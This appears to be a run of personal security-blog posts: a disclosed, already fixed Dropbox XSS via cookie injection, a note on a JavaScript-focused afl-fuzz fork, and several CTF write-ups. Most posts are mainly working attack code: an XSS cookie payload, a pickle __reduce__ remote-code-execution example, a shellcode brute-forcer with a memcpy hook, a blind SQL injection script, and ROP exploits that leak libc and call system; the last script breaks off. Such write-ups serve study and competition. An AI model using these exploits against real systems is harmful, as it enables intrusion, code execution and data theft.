First, I think many people know that a html file uploaded on dropbox shows with rendering, and without any escaping.
It means that, if we write down a JavaScript code to the html file, we can easily execute a JavaScript code on the html page without any problem.

But, the script is executed on a sandbox domain, dl-web.dropbox.com.
The important session is a httponly cookie, so we can't easily steal the user session.

In this situation, I can set any cookie on dropbox.com domain. (not www.dropbox.com)
It means that it may be able to influence on www.dropbox.com.
If main dropbox page do something using the cookie on dropbox.com, then maybe I can do something on www.dropbox.com 


I found a some nice thing, flash.
After cookies, "flash" and "bang", are given, dropbox page draws a pop-up box which is containing a text in "flash".
But, "bang" was a problem. It seems like a hmac of "flash".
So, I need to find "bang" value of my custom "flash"


I found a function which unlinks device in security setting page.
If I unlink a some device, then it shows me a flash message, which is containing device name.
So, I set the device name (iphone name) to a XSS text, and I unlinked it. 



Now, I can set "flash" and "bang" value to any text.



Then, set the malicious cookie in a html. After that, make victim to move page to www.dropbox.com (trigger flash message).


<script>
document.cookie="bang=QUFEZGthYS1CaTNfWUpYcDUwdjNxemVHSHlhSHJkU3BEdnhKRUxOZVZ3b2ZoUQ%3D%3D;
Domain=dropbox.com; Path=/;";
document.cookie="flash=b2s6PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik%2BIHVubGlua
2VkIHN1Y2Nlc3NmdWxseS4%3D; Domain=dropbox.com; Path=/";
location.href="https://dropbox.com/forgot";
</script>


There is a CSP.
But, on IE or safari, the script is executed.



+) Currently, common XSS on dl-web.dropbox.com is out of scope for bounty.
+) Now, I think a flash depends on only one session. 


2015/05/02 Fixed, A bounty of $1,331


posted by tunz

Naver Labs 인턴 기간동안, afl-fuzz 의 javascript engine 최적화 버전을 만들어보았다.


https://github.com/tunz/afl-fuzz-js


우선 afl-fuzz에 대해서 간략하게 얘기하자면, 다른 일반적인 fuzzer 들과 마찬가지로 브루트포싱 기반이다.

다만 다른게 있다면, flow coverage 를 maximizing 하려고 한다.

무슨 말이냐면, 컴파일 하는 과정에 개입해서, jmp, call 등의 program의 path가 갈라지는 부분에 logging을 하는 어셈을 삽입한다.

그리고 fuzzer가 프로그램을 실행하면서, path 를 얼마나 커버했는지를 확인한다.

그리고, 브루트포싱으로 인풋을 넣다가, 새로운 path 를 찾으면 (한번도 로깅하지 못했던 곳이 실행되면) 그 인풋의 우선순위를 높인다.


예를 들어, 실행 포맷이 안맞아서 에러만 계속 내다가

어느 순간 포맷이 맞는 인풋이 들어가게되면, 갑자기 그동안 실행되지 않았던 부분들이 실행될것이다.

그러면 이제 afl-fuzz는 그 포맷이 맞는 인풋을 위주로 변형을 하게 된다.


정말 간단한 아이디어인데, 효과가 상당히 좋다.

이전에 post-shellshock 취약점이 afl-fuzz 로 찾아졌다는 말을 듣고 그때부터 주의깊게 보고 있었는데,

그 후로도 Google project zero에서도 사용하는게 보였고,

그 외에 보안 관련뿐 아니라 LLVM, sqlite 등 여러 오픈소스에서에서 단순한 크래시도 많이 내면서 많은 오픈소스 프로젝트에서 채용하고 있는듯 하다.


근데 이게, 애초에 자바스크립트만을 위해 만들어진것이 아니고, general 한.. 모든 프로그램에 사용될수 있도록 만들어졌다.

그래서 사실 grammar 가 있는 자바스크립트의 경우는 그렇게 효과적이지는 않다.

그리고 grammar가 있는 경우, security 관련 크래시보다는 parsing 을 하는 과정에서 많이 죽는다.


여튼 afl-fuzz는 이렇고, 내가 인턴기간동안 한것은 자바스크립트만을 위한 afl-fuzz를 만드는 것이었다.

쓸데 없는 부분은 다 없애고, 자바스크립트만에서 효과가 있을만한 것들을 생각해보았다.

크게보면 3가지를 했다.


첫번째는 comment를 이용해서 사전(token)을 추출해냈다.

afl-fuzz는 아무래도 브루트포싱 방식이다보니, 시드의 영향을 많이 받는다.

아무것도 없이 시작할경우도 되기야 하겠지만, 브루트포싱을 하면서 path 가 크게 바뀔때까지 기다려야하니 시간이 오래걸린다.

그와 마찬가지로 사전이 있는것도 중요하다.

if else function new 등의 키워드는 미리 입력해두면 많은 시간을 절약해준다

추가로, fuzzer 를 돌리면서, 자동으로 사전을 만들기도 한다.

원래 인풋을 한글자씩 변경하면서 flow 가 바뀌는걸 관찰하면, 해당 글자가 뭔가 의미있는 부분이라는걸 알 수 있고, 저장해서 사전으로 활용할 수 있다.

여기까지는 원래 있던 기능이고, 원래 방식은 bit를 하나씩 뒤집으면서 flow의 변화를 측정했다.

나는 JS에만 맞추면 되기때문에, 원래 방식에 추가로, 앞뒤로 코멘트를 덧붙여서, flow의 변화를 봤다.

(예제는 github README 참고..)

효과는 뭐 꽤 좋았는데.. 아무래도 시간이 지나면 지날수록 이상한 토큰으로 쌓이는건 어쩔수 없었다.


두번째는 threshold를 이용해서 작은 flow들을 무시했다.

js가 아무래도 grammar가 있는 프로그램이다보니.. 같은 에러라도 flow가 다를 수 있다.

'a' 만 넣어서 undefined가 뜨는거랑 'ab'를 넣어서 undefined가 뜨는게 flow가 다르다던가..

그에반해 error와 error가 없는경우의 flow차이를 비교하니, 그 값이 컸고

flow차이가 내가 지정한 threshold 이상인 경우만 comment로 auto dictionary를 뽑아내도록 했다.

threshold도 자동으로 잡아주면 괜찮지 않을까 싶기도 했는데.. 그냥 패스했다.

시간대비 효과가 확실하지가 않은것 같아서


세번째는 fork server를 개선했다.

afl-fuzz에서는 상당히 흥미로운 방법으로 fuzzing속도를 빠르게 하고 있었다. (link)

그냥 단순히, 퍼징할때마다 새로 실행하는게 아니고,

맨처음 컴파일하는 과정에서 어셈을 껴넣을때, fork server에 관련된 어셈도 껴넣는데.

afl-fuzz가 프로그램을 맨처음에 실행했을 경우에는, fuzzing 당하는 프로그램에서 fork server를 하나 만든다.

그리고 fuzzer와 그 fork server 가 통신을 하면서, fork server 에서 계속 fork로 child를 만들고, 그 child에서 fuzzing을 한다.

그러면, 프로그램 로딩시간이 없어지기때문에, 약 2배정도의 속도개선이 있었다고 한다.

여기에 추가로, fork server를 프로그램 맨 처음 부분이 아니고, 적당히 뒷부분에 넣으면

인풋과 관련없는 쓸데없는 부분을 퍼징과정에서 제외함으로써, 많은 시간을 절약할수 있지 않을까 라고 말하는 글을 보았다.

나는 js에만 최적화한 fuzzer 를 만드는거니까, 소스코드를 변형해서라도 좀 가능하지 않을까 싶어서 바로 진행했다.


내가 생각한 방법은, 프로그램에서 내 입력을 open이나 read를 하기 전까지 쭉 진행하고, 그 직전에 fork server 를 만드는 것이다.

ptrace로 쭉 tracing 하다가, read 난 open syscall을 관찰하고, 내 입력을 읽으면 그 위치를 기억해둔다.

그리고 프로그램을 재실행하여, 그 직전 부분에서 fork server를 만들었다.

Webkit의 JavaScriptCore에서는 상당히 효과가 좋았다. 속도가 2~3배 증가하고, 아무런 문제도 없었다.

근데 v8에서는 잘 되지 않았다. 이유는 정확히는 모르지만, v8의 isolate 관련이나, 쓰레드관련으로 보인다.

직접 세팅해서, 어디까지 fork server가 가능한지 봤는데 프로그램 거의 첫부분에만 세팅이 가능해서, 내 구현은 거의 효과가 없었다.

(애초에 v8 같은 경우는, fork server 위치 재지정으로 속도개선이 불가능한듯)

뭐 이렇듯, general 하게 구현하기 위해서는, 생각해야할게 너무 많다.

그치만, 무거운 프로그램일수록 효과가 상당히 좋은만큼 계속 파볼만한 주제이긴 한 것 같다.


여튼 이렇게 구현후 퍼징을 돌렸고, 짧은시간동안 6개? 정도의 v8, JSC의 크래시를 찾았고, 전부 exploit은 불가능한 크래시였다.

난생 처음으로 직접 패치도 올려 보았다.

요즘은 보안보다는 소프트웨어 테스팅쪽으로 관심범위를 넓히고 있어서, 이정도도 만족스러웠다.

시드 교체후 한번만 더 돌려보고, 이제 afl은 여기까지만 해야겠다.

해보면서, fuzzing이나 testing에 관한 여러가지 아이디어들을 알아볼 수 있어서 좋았다.

'Computer Security > Other' 카테고리의 다른 글

afl-fuzz for javascript  (1) 2015.02.13
gdb automatic attach python script  (0) 2013.11.27
posted by tunz

I think It is not a good solution. I did just brute-force to find encoded shellcode.

It was first time to brute-force the remote binary, So I just want to share my experience.


The method is that I hooked server side. So, server side send the encoded value to client.

Then, client check if the encoded value is same with our shell code or not.


I repeated this method. 


following code is server hooking code.


정확한 풀이는 아니고, 부르트포싱으로 풀었다.

리모트를 부르트포싱 해본건 처음이어서, 그 과정을 적어볼까 한다.


방법은 서버를 Hooking해서, 인코딩된 결과를 클라이언트로 전송해줬다.

그래서 한바이트씩 넣어보다가, 쉘코드와 일치하는 부분이 있을 경우 기억해두는 방식으로 했다.


아래는 서버 후킹 코드.


http://pastebin.com/Vs0jJa3z

  1. // gcc -shared -ldl hook.c -o hook.so -fPIC -ldl
  2.  
  3. #define _GNU_SOURCE
  4. #include <stdio.h>
  5. #include<sys/types.h>
  6. #include <dlfcn.h>
  7.  
  8. void * memcpy ( void * destination, const void * source, size_t num ) {
  9.         static void (*memcpy_real)(void*, const void*, size_t) = NULL;
  10.         int i=0;
  11.  
  12.         if (__builtin_return_address(0) == 0x401c9e)
  13.         {
  14.                 //FILE *fp = fopen("scode", "w");
  15.                 fprintf(stdout, "Memcpy: ");
  16.  
  17.                 int length = num*2;
  18.  
  19.                 send(4, &length, 4, 0);
  20.  
  21.                 for (i=0; i<num; i++)
  22.                 {
  23.                         fprintf(stdout, "%02x ", *(char *)(source + i) & 0xFF);
  24.                         char buf[2];
  25.                         sprintf(buf, "%02x", *(char *)(source + i) & 0xFF);
  26.                         send(4, &buf, 2, 0);
  27.                 }
  28.                 //for (i=0; i<num; i++)
  29.                 //      fprintf(fp, "%c", *(char *)(source + i) & 0xFF);
  30.  
  31.                 //fclose(fp);
  32.  
  33.                 fprintf(stdout, "\n\n");
  34.                 //system("ndisasm scode");
  35.                 fprintf(stdout, "-------------------------------\n\n");
  36.         }
  37.  
  38.         if (!memcpy_real)
  39.                 memcpy_real = dlsym(RTLD_NEXT, "memcpy");
  40.  
  41.         memcpy_real(destination, source, num);
  42. }


컴파일을 한 후, 


# LD_PRELOAD=./hook.so ./byhd


와 같은 방식으로 서버를 연다.


그리고, 아래의 코드로 부르트포싱을 돌렸다.

http://pastebin.com/4dQaXibd

  1. from socket import *
  2. from struct import *
  3. import sys
  4. import time
  5.  
  6. def recvuntil(s, length):
  7.         result = ""
  8.         while True:
  9.                 result += s.recv(1)
  10.                 if len(result) >= length:
  11.                         break
  12.  
  13.         return result
  14.  
  15. #s.connect(('byhd_147e0accdae13428910e909704b21b11.2014.shallweplayaga.me', 9730))
  16.  
  17. shellcode = "48 8b 4d c8 48 83 c1 30 48 81 e2 ff 00 00 00 5b 48 83 eb 15 ff d3"
  18. shellcode = shellcode.replace(" ","").decode('hex')
  19.  
  20. answer = ""
  21.  
  22.  
  23. ii = len(answer)
  24. fail = False
  25. while ii < 250:
  26.         found = False
  27.         if fail != True:
  28.                 i=0xff
  29.         fail = False
  30.         while i>=0:
  31.                 s = socket(AF_INET, SOCK_STREAM)
  32.                 s.connect(('192.168.0.41', 9730))
  33.  
  34.                 #print hex(i)
  35.  
  36.                 s.send(pack('<L', len(answer)+1))
  37.                 s.send(answer+chr(i))
  38.  
  39.                 length = unpack('<L',s.recv(4))[0]
  40.                 data = recvuntil(s,length)
  41.                 print data
  42.                 data = data.decode('hex')
  43.  
  44.                 if len(data) > len(answer) and data[len(answer):] == shellcode[len(answer):len(data)]:
  45.                         answer += chr(i)
  46.                         print "[+] Found:",answer.encode('hex')
  47.                         ii+=1
  48.                         s.close()
  49.                         found = True
  50.                         break
  51.  
  52.                 if data[:len(shellcode)] == shellcode:
  53.                         print answer.encode('hex')
  54.                         sys.exit()
  55.  
  56.                 s.close()
  57.                 time.sleep(0.01)
  58.                 i-=1
  59.         if found == False:
  60.                 print "[-] Fail"
  61.                 if len(answer) <= 1:
  62.                         break
  63.                 else:
  64.                         last = answer[-1]
  65.                         i = ord(last) - 1
  66.                         answer = answer[:-1]
  67.                         ii-=1
  68.                         fail = True



사용한 쉘코드는 아래와 같다. (팀원이 생각한 코드)



  $ ndisasm asdf3 -b64

  00000000  488B4DC8              mov rcx,[rbp-0x38]

  00000004  4883C130               add rcx,byte +0x30

  00000008  4881E2FF000000      and rdx,0xff

  0000000F  5B                        pop rbx

  00000010  4883EB15              sub rbx,byte +0x15

  00000014  FFD3                    call rbx



최대한 짧게 하여, 우리가 입력했던 버퍼의 뒤쪽부붙을 다시 memcpy로 복사해서 콜 하도록 하였다.


그래서 최종적인 페이로드는 위에서 찾은 ( [인코딩된 문자] + "\x90"*50 + [쉘코드] ) 를 보내면 된다.



'Computer Security > CTF' 카테고리의 다른 글

[Defcon 2014] HJ(2) byhd write up  (0) 2014.05.19
[Defcon 2014] 100 lines exploit  (0) 2014.05.19
[RuCTF 2014 quals] Reversing 500  (0) 2014.03.11
[Codegate 2014 quals] Web 500 write up  (0) 2014.02.24
[secuinside 2013] debugd exploit  (2) 2013.11.28
[Secuinside 2013] angry danbi exploit  (3) 2013.11.27
posted by tunz

직접 알고리즘 분석해서, 파이썬으로 옮긴후 최적화를 한거라서 딱히 설명할것은 없고, 그냥 익스플로잇만.



http://pastebin.com/MGKqAZhK


  1. from socket import *
  2. import time
  3.  
  4. randpad ="FC8A4551678CA9C0B0FDF76FB850F12F7A6266E3D3C36EBE373933683BC6761EAEAA83ED571AF129E6C1B99EDDA2862C1ADC499D8201D53AB5D333121CCE942BC3B06CBC4673395E7BC7B49E56F0AD725E83C705C5E92E85887994F7E7AC34FE5CCE2E13F1CC8EEA6083BEDC4ABBE8DF6520EF44ADFAD61283D5DC94AD1FE15FE8FA7E3FDA61E3DFAB5B4F2A6C2482AD1789BA29B946347464F745228DAF33D652B5DE10E4535D96B7E22ECBB175BC745A21298C57B3165EC7C8C22635482D3C607B5DDDA8296119D0EFEE6D04DD2051951D01E1DADAB4A546D9CBAF56B52005D06BD222212F2DD373975689AEAC02B635D21487C649DF0E178564E5AF6E9361".decode('hex')
  5.  
  6. """
  7. def loop(table, size):
  8.        idx1=0
  9.        loop_count = size - 0x20
  10.        while idx1 < loop_count:
  11.                idx2=0
  12.                calculated = 0
  13.                while idx2 <= 3:
  14.                        calculated = calculated | calc(table, idx1, idx2)
  15.                        idx2 += 1
  16.                idx3 = 0
  17.                while idx3 < loop_count:
  18.                        idx4 = 0
  19.                        calculated2 = 0
  20.                        while idx4 <= 3:
  21.                                calculated2 = calculated2 | calc(table, idx3, idx4)
  22.                                idx4 += 1
  23.                        calculated2 = calculated ^ calculated2
  24.                        idx5 = 0
  25.                        while idx5 <= 3:
  26.                                offset = (idx3 + loop_count * idx1)*4 + idx5
  27.                                ecx = (((-idx5) & 0xFFFFFFFF) << 3) + 0x18
  28.                                eax = calculated2 >> (ecx & 0xFF)
  29.                                result[offset] = eax & 0xFF
  30.                                idx5 += 1
  31. """
  32.  
  33. def calc(table, idx1, idx2):
  34.         offset = (idx1 >> 3) + idx2
  35.         edx = ((ord(table[offset]) << (idx1 & 7)) | (ord(table[offset + 1]) >> (8 - (idx1 & 7)))) & 0xFF
  36.         ecx = (((-idx2) & 0xFF) << 3) + 0x18
  37.         edx = edx << (ecx & 0xFF)
  38.         return edx
  39.  
  40. def optimized_loop(table, size, offset):
  41.         loop_count = size - 0x20
  42.         idx5 = offset & 3
  43.         offset -= idx5
  44.         offset = offset / 4
  45.         idx3 = offset % loop_count
  46.         idx1 = offset / loop_count
  47.  
  48.         calculated = 0
  49.         idx2 = 0
  50.         while idx2 <= 3:
  51.                 calculated = calculated | calc(table, idx1, idx2)
  52.                 idx2 += 1
  53.  
  54.         calculated2 = 0
  55.         idx4 = 0
  56.         while idx4 <= 3:
  57.                 calculated2 = calculated2 | calc(table, idx3, idx4)
  58.                 idx4 += 1
  59.         calculated2 = calculated ^ calculated2
  60.         ecx = (((-idx5) & 0xFFFFFFFF) << 3) + 0x18
  61.         eax = calculated2 >> (ecx & 0xFF)
  62.         return eax & 0xFF
  63.  
  64. def calc2(idx1, idx2):
  65.         global randpad
  66.         offset = (idx1 >> 3) + idx2
  67.         edx = ((optimized_loop(randpad, 0x7e0, offset) << (idx1 & 7)) | (optimized_loop(randpad, 0x7e0, offset + 1) >> (8 - idx1 &7))) & 0xFF
  68.         ecx = ((-idx2) << 3) + 0x18
  69.         edx = edx << (ecx & 0xFF)
  70.         return edx
  71.  
  72.  
  73. def findAnswer(offset):
  74.         loop_count = 0xf81000 - 0x20
  75.         idx5 = offset & 3
  76.         offset -= idx5
  77.         offset = offset / 4
  78.         idx3 = offset % loop_count
  79.         idx1 = offset / loop_count
  80.  
  81.         calculated = 0
  82.         idx2 = 0
  83.         while idx2 <= 3:
  84.                 calculated = calculated | calc2(idx1, idx2)
  85.                 idx2 += 1
  86.  
  87.         calculated2 = 0
  88.         idx4 = 0
  89.         while idx4 <= 3:
  90.                 calculated2 = calculated2 | calc2(idx3, idx4)
  91.                 idx4 += 1
  92.         calculated2 = calculated ^ calculated2
  93.         ecx = (((-idx5) & 0xFFFFFFFF) << 3) + 0x18
  94.         eax = calculated2 >> (ecx & 0xFF)
  95.         return eax & 0xFF
  96. = socket(AF_INET , SOCK_STREAM)
  97. s.connect(('100lines_53ac15fc7aa93da92629d37a669e106c.2014.shallweplayaga.me', 20689))
  98.  
  99. time.sleep(0.5)
  100. data = s.recv(65000)
  101. data += s.recv(65000)
  102.  
  103. data =  data.split(None)[2:]
  104. print data
  105. OTP = [int(x[2:],16) for x in data]
  106.  
  107. for i in range(0, 8):
  108.         #s.send(findAnswer(int(data[i][2:],16)))
  109.         #number = int(data[i][2:],16)
  110.         #print hex(number)
  111.         number = OTP[i]
  112.         answer = findAnswer(number)
  113.         edx = answer
  114.         eax = edx*3
  115.         eax = eax << 5
  116.         eax += edx
  117.         eax = (eax & 0xFFFF0000) + ((eax & 0xFFFF) >> 8)
  118.         ecx = edx
  119.         ecx -= eax
  120.         ecx = (ecx & 0xFFFFFF00) + ((ecx & 0xFF) >> 1)
  121.         eax += ecx
  122.         eax = (eax & 0xFFFFFF00) + ((eax & 0xFF) >> 6)
  123.         ecx = 0x5D
  124.         eax = eax * ecx
  125.         edx -= eax
  126.         eax = edx
  127.         eax = (eax & 0xFF) + 0x20
  128.         print hex(eax)
  129.         s.send(chr(eax))
  130.  
  131. time.sleep(3)
  132.  
  133. data = ""
  134. data += s.recv(1024)
  135. data += s.recv(1024)
  136. data += s.recv(1024)
  137. data += s.recv(1024)
  138. data += s.recv(1024)
  139. data += s.recv(1024)
  140. data += s.recv(1024)
  141. data += s.recv(1024)
  142. data += s.recv(1024)
  143.  
  144.  
  145. data = data.strip()
  146.  
  147. flags = data.split(",")
  148.  
  149. if len(flags) > 1:
  150.         flags = [int(x[2:],16) for x in flags]
  151.         answer = ""
  152.         i=0
  153.         while i<len(flags):
  154.                 answer += chr( findAnswer( OTP[i] ) ^ flags[i] )
  155.                 i+=1
  156.  
  157. print answer
  158.  
  159. s.close()


'Computer Security > CTF' 카테고리의 다른 글

[Defcon 2014] HJ(2) byhd write up  (0) 2014.05.19
[Defcon 2014] 100 lines exploit  (0) 2014.05.19
[RuCTF 2014 quals] Reversing 500  (0) 2014.03.11
[Codegate 2014 quals] Web 500 write up  (0) 2014.02.24
[secuinside 2013] debugd exploit  (2) 2013.11.28
[Secuinside 2013] angry danbi exploit  (3) 2013.11.27
posted by tunz

이번 plaid CTF 에서 나온 취약점... 사실 알려진지는 좀 오래 되었던 듯 하다.

pickle 자체는 머신러닝 공부하면서 처음 접해봤는데, 생각없이 쓰기만 하다가, 이것만으로도 RCE가 된다는건 상상도 못했었다.


애초에, pickle이 안전하지 않다.

다른사람이 준 pickle을 load하기만 해도, 쉘을 따일수가 있으니 절대 받지 않도록 한다.


취약점은 __reduce__ method에서 발생한다.


unpickle을 할때, 어떻게 재구성할지에 대한 tuple을 반환 하는 메소드인데, 그 tuple에 함수 또한 리턴하며, 그 함수를 콜을 하게 된다.


  1. import cPickle
  2. import os
  3.  
  4. class exploit(object):
  5.   def __reduce__(self):
  6.     return (os.system, ('id',))
  7.  
  8. pd = cPickle.dumps(exploit())
  9.  
  10. cPickle.loads(pd)

예시는 이와 같다.


class를 하나 만들고, __reduce__ 메소드에서, (함수, (인자,)) 를 리턴한다.

그것을 dump해서 pd로 넣어두고,


마지막에 loads(pd)를 할때, 커맨드가 실행 된다.


즉, 덤프 한것을, 서버에서 로드만 하도록 유도한다면, 쉘을 딸 수 있다.

posted by tunz

First, it is packed by upx. so just unpack binary.


then, because of undefined instruction(0F 0B), it starts exception handler.

So, strcmp with "oh_nasty_boy!you_hacked_me:(hehe" is just fake.


exception handler is in 0x4010d0.


At 0x4010d0, insert keys and encode input. and finally compare with another real answer 


routine is as follow.


1. exception handler starts

2. insert key to stack

3. xor key with some value in 0x4011C3

4. encode input using key (function 0x401000)

5. compare encoded value to answer


but, I didn't know xor key with what value in third step.

So, it is just brute-force.


script is as follow in python

http://pastebin.com/MnSv30YB


  1. from struct import *
  2. import sys
  3.  
  4. key1 = "86DE9AF8DFF585E9DD85EF".decode('hex')
  5.  
  6. def encode(data,n):
  7.         global key1
  8.         zero_to_100 = []
  9.         i =0
  10.         while i<0x100:
  11.                 zero_to_100.append(i)
  12.                 i+=1
  13.         temp_key1 = list(key1)
  14.         temp_key = [chr(ord(i) ^ n) for i in key1]
  15.         calc_key1 = "".join(temp_key)
  16.  
  17.         i = 0
  18.         v4 = 0
  19.         v8 = 0
  20.         v3 = 0
  21.         while i<0x100:
  22.                 v3 += (zero_to_100[i] + ord(calc_key1[i % 0xB]))
  23.                 v3 = v3 & 0xFF
  24.                 v8 = zero_to_100[i]
  25.                 zero_to_100[i] = zero_to_100[v3]
  26.                 zero_to_100[v3] = v8
  27.                 i+=1
  28.  
  29.         i=0
  30.         v9 = 0
  31.         v10 = 0
  32.         answer = ""
  33.         while i < 0x20:
  34.                 v12 = v10+1
  35.                 v17 = v12
  36.                 v9 += zero_to_100[v12]
  37.                 v9 = v9 & 0xFF
  38.                 v13 = zero_to_100[v12]
  39.                 v15 = zero_to_100[v9]
  40.                 zero_to_100[v12] = v15
  41.                 zero_to_100[v9] = v13
  42.                 k = zero_to_100[(v13 + v15) & 0xFF]
  43.                 answer += chr(ord(data[i]) ^ k)
  44.                 v10 = v17
  45.                 i+=1
  46.  
  47.         return answer
  48.  
  49. def check(data):
  50.         data = list(data)
  51.         for i in data:
  52.                 if ord(i) < 0x20 or ord(i) >= 0x80:
  53.                         return False
  54.  
  55.         return True
  56.  
  57. compare = ""
  58. compare += pack('<L', 0x03C7C8CA)
  59. compare += pack('<L', 0x1F2810FC)
  60. compare += pack('<L', 0x948C7F7A)
  61. compare += pack('<L', 0x2469F92E)
  62. compare += pack('<L', 0xC1277D9F)
  63. compare += pack('<L', 0x7F4509C4)
  64. compare += pack('<L', 0x9745EE75)
  65. compare += pack('<L', 0x1F79AF8D)
  66.  
  67. for n in range(0,0x100):
  68.         xored = encode("1"*32,n)
  69.  
  70.         key = ""
  71.         for i in xored:
  72.                 key += chr(ord(i) ^ ord('1'))
  73.  
  74.         i=0
  75.         answer = ""
  76.         while i< 32:
  77.                 answer += chr(ord(key[i]) ^ ord(compare[i]))
  78.                 i+=1
  79.  
  80.         if check(answer):
  81.                 print answer
  82.                 sys.exit()


'Computer Security > CTF' 카테고리의 다른 글

[Defcon 2014] HJ(2) byhd write up  (0) 2014.05.19
[Defcon 2014] 100 lines exploit  (0) 2014.05.19
[RuCTF 2014 quals] Reversing 500  (0) 2014.03.11
[Codegate 2014 quals] Web 500 write up  (0) 2014.02.24
[secuinside 2013] debugd exploit  (2) 2013.11.28
[Secuinside 2013] angry danbi exploit  (3) 2013.11.27
posted by tunz

linux에서 %gs:0x10 이런식으로 접근할때, gs의 베이스주소를 알아내는법


$ strace -f ./바이너리 2>&1 | grep thread_area


posted by tunz
  • levs 2014.06.25 22:50

    저 명령어의 원리좀 알 수 있을까요?

이번 대회는 포너블 몇개랑 웹 두개를 풀었는데,

포너블들은 정말 지저분하게 풀었고, 깔끔하게 나오는 익스플로잇이 이것밖에 없어서.. 이 익스플로잇만 올립니다.


처음에 이 문제를 보고, wechall에 있는 md5를 blind injection으로 횟수제한 걸고 맞추는 문제를 떠올렸는데,

그게 페이크였던것 같다

여기선 md5도 아니고, 문서에 잇는 문자를 랜덤으로 가져오는데, 

30글자가 모두 소문자라고 하더라도, 한 문자당 5번, 총 150번 정도는 필요하다.

물론 time-based도 가능은 하지만, 시간도 오래 걸리고, CTF에서는 정확도가 떨어진다. (서버상태때문)


근데 문득 든 생각이, IP 하나가, 여러개의 세션을 만들 수 있다라는 것이다.

그리고 DB에는 하나의 패스워드 (가장 마지막으로 만든 세션의 패스워드)만 저장이 된다.


즉, 카운트가 120이 아닌, 실제로는 무한대라는것.


그래서, 익스플로잇에서는 처음에 여러개의 세션을 만들고,

한 세션으로 5글자씩 알아내는 방법으로 알아낸후,

최종 세션을 이용해 정답을 제출한다.


As you see the following code, first, I made multiple sessions.

Each sessions have their own 'cnt' variable.

But, in mysql database, only the password of last session is saved.

After that, the password is compared with IP address, not session.

So, although I use different sessions, I can access to a same password.

(It means that the counting is meaningless)

after I extract the password, auth password using the last session.


http://pastebin.com/y4zaHQtb


  1. import httplib
  2. import urllib
  3. import sys
  4. import time
  5.  
  6. conn = httplib.HTTPConnection('58.229.183.24',80)
  7. conn.connect()
  8.  
  9. session_header = '95hem28h053quulk22r5696me'
  10.  
  11. answer = ""
  12.  
  13. # create sessions
  14. for i in range(0, 10):
  15.     ch = chr(ord('0') + i)
  16.     print "Session make: "+ch
  17.     conn.putrequest('GET', '/5a520b6b783866fd93f9dcdaf753af08/index.php')
  18.     conn.putheader('Cookie', 'PHPSESSID='+session_header+ch+';')
  19.     conn.endheaders()
  20.     resp = conn.getresponse()
  21.     data = resp.read()
  22.  
  23. # injection
  24. for aa in range(0, 10):
  25.  ch = chr(ord('0') + aa)
  26.  for k in range(1 + aa*5, 6 + aa*5):
  27.    #i=96
  28.    i=0
  29.    for m in range(1, 9):
  30.         query = "' or substr(LPAD(bin(ascii(substr(password,"+str(k)+",1))),8,0),"+str(m)+",1)=0x31 and 'a' = 'a"
  31.         params = 'password='+urllib.quote(query)
  32.         conn.putrequest('POST', '/5a520b6b783866fd93f9dcdaf753af08/index.php')
  33.         conn.putheader('Content-length', str(len(params)))
  34.         conn.putheader('Content-Type', 'application/x-www-form-urlencoded')
  35.         conn.putheader('Cookie', 'PHPSESSID='+session_header + ch +';')
  36.         conn.endheaders()
  37.         conn.send(params)
  38.  
  39.         resp = conn.getresponse()
  40.         data = resp.read()
  41.  
  42.         if "True" in data:
  43.             i += pow(2,8-m)
  44.             print str(m)+" "+str(i)
  45.    answer = answer + chr(i)
  46.    print "Find: "+answer
  47.  if len(answer) == 30:
  48.     break
  49.  
  50. print "Answer: "+answer
  51. print "Session: "+session_header+'9'
  52.  
  53. conn.close()


posted by tunz

ubuntu 13.10에서 재현



  1. from socket import *
  2. from struct import *
  3. import time
  4.  
  5. = socket(AF_INET,SOCK_STREAM)
  6. s.connect(('localhost', 7744))
  7.  
  8. leaveret = 0x8048a68
  9. recv_plt = 0x8048770
  10. send_plt = 0x8048790
  11. bss = 0x804b080
  12. fake_ebp = bss+0x50
  13. send_got = 0x804b070
  14. ppppr = 0x804906c
  15.  
  16. cmd = "id>&4\x00"
  17.  
  18. payload = "1;"+"\x00"*(0x66c + 4 - 2)
  19. payload += pack('<L', send_plt)
  20. payload += pack('<L', ppppr)
  21. payload += pack('<L', 4)
  22. payload += pack('<L', send_got)
  23. payload += pack('<L', 4)
  24. payload += pack('<L', 0)
  25.  
  26. payload += pack('<L', recv_plt)
  27. payload += pack('<L', ppppr)
  28. payload += pack('<L', 4)
  29. payload += pack('<L', send_got)
  30. payload += pack('<L', 4)
  31. payload += pack('<L', 0)
  32.  
  33. payload += pack('<L', recv_plt)
  34. payload += pack('<L', ppppr)
  35. payload += pack('<L', 4)
  36. payload += pack('<L', bss)
  37. payload += pack('<L', len(cmd))
  38. payload += pack('<L', 0)
  39.  
  40. payload += pack('<L', send_plt)
  41. payload += "AAAA"
  42. payload += pack('<L', bss)
  43.  
  44. time.sleep(0.5)
  45. print s.recv(1024)
  46. s.send("4\n")
  47. time.sleep(0.5)
  48. print s.recv(1024)
  49.  
  50. raw_input('go?')
  51.  
  52. s.send(";"*0x38 + pack('<L',len(payload)))
  53. time.sleep(1)
  54. print s.recv(1024)
  55. s.send(payload)
  56. time.sleep(1)
  57. #print s.recv(5)
  58.  
  59. #time.sleep(1)
  60. send_addr = unpack('<L',s.recv(4))[0]
  61. system_addr = send_addr - 0xf3940 + 0x41260
  62.  
  63. print "System: "+hex(system_addr)
  64.  
  65. s.send(pack('<L',system_addr))
  66. s.send(cmd)
  67.  
  68. time.sleep(0.1)
  69. print s.recv(1024)
  70.  
  71. s.close()


posted by tunz
  • hea 2013.11.28 23:35

    안녕하세요 저도 요근래 ROP공부를 하고 있는데 offset계산해서 add가젯 같은거 사용하는 개념까진 알겠는데 리모트 익스플로잇할때 recv send 같은걸 어떻게 사용해주는지 잘 모르겠더라구요.. 혹시 관련 좋은 문서 있을까요?

    • tunz 2013.11.29 01:58 신고

      음... 저도 딱히 문서 하나만 보고 공부한게 아니라서,
      GOT랑 plt가 정확히 뭔지만 아는 상태로, 간단한 CTF exploit 하나 분석하시면 딱 느낌이 오실거에요

우분투 12.04에서 재현


  1. from socket import *
  2. from struct import *
  3. import time
  4.  
  5. fputs_plt = 0x8048800
  6. fputs_got = 0x804B064
  7. recv_plt = 0x8048810
  8. send_plt = 0x8048830
  9. ppppr = 0x80499FC
  10. bss = 0x804c0dc
  11.  
  12. cmd = "id>&4\x00"
  13.  
  14. i=0
  15. while True:
  16.         print "Send! %d" % i
  17.         i += 1
  18.         s = socket(AF_INET, SOCK_STREAM)
  19.  
